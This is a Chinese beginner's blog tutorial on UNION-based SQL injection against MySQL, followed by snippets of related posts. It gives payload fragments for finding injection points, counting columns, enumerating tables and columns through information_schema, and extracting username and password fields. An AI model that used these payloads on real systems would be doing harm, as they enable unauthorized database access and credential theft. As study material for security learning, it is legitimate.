SQL注入(一)之union注入

2021-10-07 21:30:35 字數 2065 閱讀 5728

在sql注入的前期,第一件事情就是找到sql注入點,在找到注入點後開始下面的內容:a.判斷注入點:

and1=

1--返回true,顯示正常

and1=2

--返回false,顯示錯誤

b.猜多少列
order

by[數值]

c.聯合查詢猜表名
union

select1,

2,3,……,

7from users --猜表名並記錄返回回顯位(報錯說明表不存在,將表名更換繼續猜)

d.聯合查詢猜列名
union

select1,

2,username,4,

5,password,

7--猜列名

在mysql5.0之後,mysql會預設在資料庫中存放乙個"information_schema"的資料庫,所有資料庫及他們的表都會存放在"information_schema"這個資料庫中,我們需要記住:schemata、tables和columns這三個表名。

1.schemata這個表中我們需要記住字段:schema_name,它儲存了該使用者建立的所有資料庫庫名;

2.tables這個表中我們需要記住字段:table_schema(資料庫庫名)、table_name(表名),它儲存了該使用者建立的所有資料庫庫名和表名;

3.columns表中我們需要記住字段:table_schema(庫名)、table_name(表名)、column_name(欄位名),它儲存了該使用者建立的所有資料庫庫名、表名和欄位名。

information_schema.tables 記錄表名資訊

information_schema.columns 記錄列名資訊

table_schema 資料庫字段

table_name 表名 column_name 列名

需要記住的三個函式:
database

(version(

):當前mysql的版本

user

():當前mysql的使用者

a.獲取資料庫庫名、版本號、使用者
union

select1,

2,database()

,version(),

user()

,6,7

b.得到資料庫庫名後查當前資料庫表名
union

select table_name from information_schema.

tables

where table_schema=

database()

;

c.在查到的表名中查詢列名,假設需要的表名為:user
union

select column_name from information_schema.

columns

where table_name=

'users'

;

e.查資料,假設查到的列名分別為:id,username,password
union

select username,password from table_name=

'user'

;

注:筆記僅供學習交流,請勿用於違法行為,如造成後果,與筆者無關

本人小白一枚,如果各位老哥發現錯誤,還望指出

sql注入之union注入

判斷是否存在注入點 判斷是什麼型別注入 字元型or數字型 判斷閉合方式 查詢列數個數 order by 5,獲得資料庫名 獲得表名 獲得欄位名 1.判斷是否存在注入點 可以用 單引號顯示資料庫錯誤資訊或者頁面回顯不同 2.判斷什麼型別 字元型or數字型 用and 1 1和and 1 2 如果頁面沒有...

SQL注入中的union注入

環境自己搭的 union聯合,合併,將多條查詢語句結果合併成乙個結果,union注入攻擊是手工測試 1.首先要判斷是否存在注入點 2.通過order by 1 99 查詢字段 首先應該用查詢出欄位 1.注 20表示空格,我這裡從1試到了7 到7的時候報錯,也就會是說有6個字段 2.我的回顯是2和4,...

sql注入 union聯合查詢注入

目錄 一,sql注入必記的一庫三表 二,union聯合查詢注入 1,基本注入流程 1,判斷注入點 2,判斷多少列 3,判斷顯示位 4,顯示資料庫的基本資訊 5,顯示有哪些資料庫 6,顯示資料庫下有哪些表 7,判斷表裡有哪些字段 八,查詢資料表中有哪些資料 information schema 資料庫...